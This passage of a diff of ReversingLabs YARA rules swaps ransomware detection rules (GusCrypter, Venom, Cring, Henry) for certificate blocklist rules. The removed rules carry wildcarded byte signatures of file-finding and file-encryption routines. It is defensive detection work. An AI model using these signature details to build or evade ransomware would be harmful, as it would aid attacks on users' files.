8B 45 ?? 0F 10 06 50 0F 11 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B F2 - } - $encrypt_files_5 = { - 66 8B 02 83 C2 ?? 66 85 C0 75 ?? BB ?? ?? ?? ?? 2B D6 8D 7B ?? 66 8B 47 ?? 83 C7 ?? - 66 85 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? 83 C3 ?? F3 A4 66 8B 43 ?? 83 C3 - ?? 66 85 C0 75 ?? 8B FB B9 ?? ?? ?? ?? 8B 5D ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? F3 A5 - 53 FF 15 ?? ?? ?? ?? 6A ?? 8B F0 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 35 ?? ?? ?? ?? 6A - ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? - 53 FF 15 ?? ?? ?? ?? 5E 5B 33 C0 5F 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $search_files_* ) ) and ( all of ( $encrypt_files_* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "60:49:70:70:ff:4a:83:bc:87:bd:ea:24:da:5b:43:1d" and 1477008000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Guscrypter : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0A333E : INFO FILE { meta: - description = "Yara rule that detects GusCrypter ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "64aa468c-ec24-58aa-8ea9-23f0cebed227" - date = "2020-11-26" - modified = "2020-11-26" + id = "5eaac242-ca22-5c73-9027-308d351080bf" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.GusCrypter.yara#L1-L129" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15188-L15204" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cfe6005028c0e5f5d713af2a549574203678bab2ee48acc1727702bcf91522b1" + logic_hash = "f76d21e0ae2cf9b28825c813fc509d533c10aba38f8f0c2884365047c1272c1f" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "GusCrypter" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? 8D 45 ?? 8B 5D ?? 83 FB ?? 8B 75 ?? 8B 4D ?? 0F 43 C6 83 F9 ?? 75 ?? 80 38 ?? 0F - 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? BA ?? ?? ?? ?? 66 39 10 0F - 84 ?? ?? ?? ?? 83 FB ?? 8D 55 ?? 0F 43 D6 83 F9 ?? 75 ?? 66 81 3A ?? ?? 75 ?? 80 7A - ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ?? - 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 55 ?? 0F 43 D6 83 F9 ?? 75 ?? 81 3A ?? ?? ?? ?? 75 ?? - 66 81 7A ?? ?? ?? 75 ?? 80 7A ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 FB ?? 0F - 43 CE 83 F8 ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 - EF ?? 73 ?? 8A 01 3A 02 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 4D ?? 0F 43 CE 83 F8 - ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EF ?? 73 ?? - 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 4D - ?? 0F 43 CE 83 F8 ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 - ?? 83 EF ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ?? 8B 4D - ?? 8D 45 ?? 83 FB ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? - ?? ?? 75 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 - } - $find_files_p2 = { - 81 38 ?? ?? ?? ?? 75 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 - F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? - 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? - 81 78 ?? ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 4D ?? - 0F 43 CE 83 7D ?? ?? 75 ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 01 3B 02 75 ?? 83 C1 ?? - 83 C2 ?? 83 EF ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ?? - 83 FB ?? 8D 45 ?? 0F 43 C6 83 7D ?? ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? - ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 4D ?? 0F 43 CE 83 7D - ?? ?? 75 ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EF - ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? B0 ?? EB ?? 32 C0 84 C0 75 - ?? 8D 85 ?? ?? ?? ?? 50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? - ?? 8B CC 8B D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 - C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? - 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? - ?? 83 C4 ?? 8B BD ?? ?? ?? ?? C6 45 ?? ?? 83 FB ?? 72 ?? 43 8B C6 81 FB ?? ?? ?? ?? - 72 ?? 8B 76 ?? 83 C3 ?? 2B C6 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 53 56 E8 ?? ?? ?? - ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF - 15 - } - $encrypt_files_p1 = { - 88 84 05 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 7C ?? 33 FF 33 F6 8B C6 8A 9C 35 ?? ?? ?? ?? - 99 F7 7D ?? 0F B6 04 0A 03 F8 0F B6 CB 03 F9 81 E7 ?? ?? ?? ?? 79 ?? 4F 81 CF ?? ?? - ?? ?? 47 8A 84 3D ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 88 84 35 ?? ?? ?? ?? 46 88 9C 3D ?? - ?? ?? ?? 81 FE ?? ?? ?? ?? 7C ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 - E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 0F 85 ?? ?? ?? ?? 8B 4D ?? 32 D2 E8 ?? ?? ?? ?? - 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? - 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D - ?? 42 8B C1 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 - F8 ?? 0F 87 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 - ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 89 BD ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 33 F6 - 53 E8 ?? ?? ?? ?? 83 C4 ?? 88 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 - } - $encrypt_files_p2 = { - 0F BE 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 46 83 C4 ?? 83 FE ?? 7C ?? 53 E8 ?? ?? ?? - ?? 83 C4 ?? 88 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 - 7D ?? ?? 8D 4D ?? 8A 85 ?? ?? ?? ?? 0F 43 4D ?? C7 45 ?? ?? ?? ?? ?? 88 01 C6 41 ?? - ?? 33 C9 8B 75 ?? 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 4D ?? 83 7D ?? ?? 8B F8 0F 43 4D ?? 56 57 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F BE - 07 FF B5 ?? ?? ?? ?? 35 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B - BD ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? - 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 45 ?? 83 7D ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 32 D2 C7 45 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 8D 50 ?? 8B C1 - 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? - ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? - ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $misc_checks_p1 = { - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 - F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? - ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F - 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - } - $misc_checks_p2 = { - 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? - ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? E9 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $misc_checks_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Coulomb Limited" and pe.signatures [ i ] . serial == "0a:33:3e" and 1052750648 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Venom : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_1Cb6519B2528D006D1Da987153Dad2B3 : INFO FILE { meta: - description = "Yara rule that detects Venom ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "72149ec2-888e-5bed-baf1-0ec44e48328e" - date = "2022-06-06" - modified = "2022-06-06" + id = "774e28f7-46ba-533d-a73c-00d2536c7d2b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Venom.yara#L1-L68" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15206-L15222" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5817ece6a1cc304835f7fc243c4cfdc3c7cacd2251a9ac294a6662b58d2552e8" + logic_hash = "776402fc3a7de4843373bc1981f965fe9c2a9f1fe2374b142a96952fd05a591b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Venom" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $setup_env = { - 00 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1B - 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 07 6F ?? ?? - ?? ?? 13 ?? 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 06 11 ?? 28 ?? ?? ?? ?? 00 00 12 ?? 28 - ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 1F - ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 1F ?? - 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ?? 28 ?? ?? ?? ?? 72 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 72 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 20 ?? ?? ?? ?? 19 7E ?? ?? ?? ?? 19 16 7E ?? ?? ?? - ?? 28 ?? ?? ?? ?? 0D 09 08 20 ?? ?? ?? ?? 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 17 28 - ?? ?? ?? ?? 00 2A - } - $find_files = { - 00 00 00 03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 00 00 08 72 ?? ?? ?? ?? 6F ?? ?? - ?? ?? 16 FE 01 0D 09 2C ?? 00 08 02 28 ?? ?? ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 00 07 - 17 58 0B 07 06 8E 69 32 ?? 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 - ?? 00 11 ?? 02 28 ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 DE ?? - 26 00 00 DE ?? 2A - } - $encrypt_files = { - 00 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 0B 02 72 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 18 73 ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 00 09 18 6F ?? ?? ?? ?? 00 07 06 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? - 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F - ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 17 6F ?? ?? ?? ?? 00 08 06 16 06 - 8E 69 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ?? ?? ?? - ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 00 2B ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? - ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 FE 02 13 ?? 11 ?? 2D - ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 - DE ?? DE ?? 00 11 ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00 02 28 ?? ?? ?? ?? 00 00 - DE ?? 26 00 00 DE ?? 00 DC 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $setup_env ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "D and D Internet Services" and pe.signatures [ i ] . serial == "1c:b6:51:9b:25:28:d0:06:d1:da:98:71:53:da:d2:b3" and 1012780800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Cring : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_621E696C3A6371E77A678Cbf0Ee34Ab2 : INFO FILE { meta: - description = "Yara rule that detects Cring ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "76530a6d-145b-5316-8200-4b191d0754fd" - date = "2021-08-12" - modified = "2021-08-12" + id = "606749dc-f4ef-526a-8583-486401866759" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Cring.yara#L1-L66" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15224-L15240" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "05cf60ad39c9dcc592345f13b63c99b153b9253297a8ad9e52e0439081d8c796" + logic_hash = "67c9fd92681d6dd1172509113e167e74e07f1f86fd62456758b3e3930180b528" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Cring" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 08 6F ?? ?? ?? ?? 19 2E ?? 08 6F ?? ?? ?? ?? - 18 33 ?? 08 6F ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 02 17 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 0D 2B ?? 09 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 2D ?? DE ?? 09 2C ?? 09 6F - ?? ?? ?? ?? DC 07 17 58 0B 07 06 8E 69 32 ?? 2A - } - $find_files_p2 = { - 02 7B ?? ?? ?? ?? 0B 07 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 16 0A DD ?? - ?? ?? ?? 02 15 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? - ?? ?? 14 0C 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DE ?? 26 DE ?? 08 2C - ?? 02 08 7D ?? ?? ?? ?? 02 16 7D ?? ?? ?? ?? 2B ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? - 9A 0D 02 09 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 17 0A DD ?? ?? ?? ?? 02 15 7D ?? ?? ?? - ?? 02 02 7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 8E 69 - 32 ?? 02 14 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 39 ?? ?? ?? ?? 14 0C 02 7B ?? ?? ?? ?? 28 - ?? ?? ?? ?? 0C DE ?? 26 DE ?? 08 39 ?? ?? ?? ?? 02 08 7D ?? ?? ?? ?? 02 16 7D ?? ?? ?? - ?? 38 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 9A 13 ?? 02 11 ?? 02 7B ?? ?? ?? - ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 1F ?? 7D ?? ?? ?? - ?? 2B ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 02 11 ?? 7D ?? ?? ?? ?? 02 18 7D ?? ?? - ?? ?? 17 0A DE ?? 02 1F ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 28 - ?? ?? ?? ?? 02 14 7D ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 7B ?? ?? - ?? ?? 02 7B ?? ?? ?? ?? 8E 69 3F ?? ?? ?? ?? 02 14 7D ?? ?? ?? ?? 16 0A DE ?? 02 28 ?? - ?? ?? ?? DC 06 2A - } - $encrypt_files = { - 16 0A 73 ?? ?? ?? ?? 0B 07 6F ?? ?? ?? ?? 1E 5B 8D ?? ?? ?? ?? 0C 07 6F ?? ?? ?? ?? 1E - 5B 8D ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 08 6F ?? ?? ?? ?? 11 ?? 09 6F ?? ?? ?? - ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 8E 69 09 8E 69 58 8D ?? ?? ?? ?? 13 ?? - 08 11 ?? 08 8E 69 28 ?? ?? ?? ?? 09 16 11 ?? 08 8E 69 09 8E 69 28 ?? ?? ?? ?? 11 ?? 04 - 28 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 28 ?? ?? ?? ?? 13 ?? 07 08 09 6F ?? ?? ?? ?? 13 ?? 02 - 19 73 ?? ?? ?? ?? 13 ?? 03 18 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 73 ?? ?? ?? ?? 13 ?? - 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 - ?? 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? - 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F - ?? ?? ?? ?? DC 17 0A DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "62:1e:69:6c:3a:63:71:e7:7a:67:8c:bf:0e:e3:4a:b2" and 1467072000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Henry : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_21B991 : INFO FILE { meta: - description = "Yara rule that detects Henry ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "63627f2b-3205-5790-ba97-8e0d1da39d7c" - date = "2021-06-14" - modified = "2021-06-14" + id = "333a0901-21e7-5b4a-8daa-6a04fc2c4e86" + date = "2020-08-05" + modified = "2023-11-08" reference = 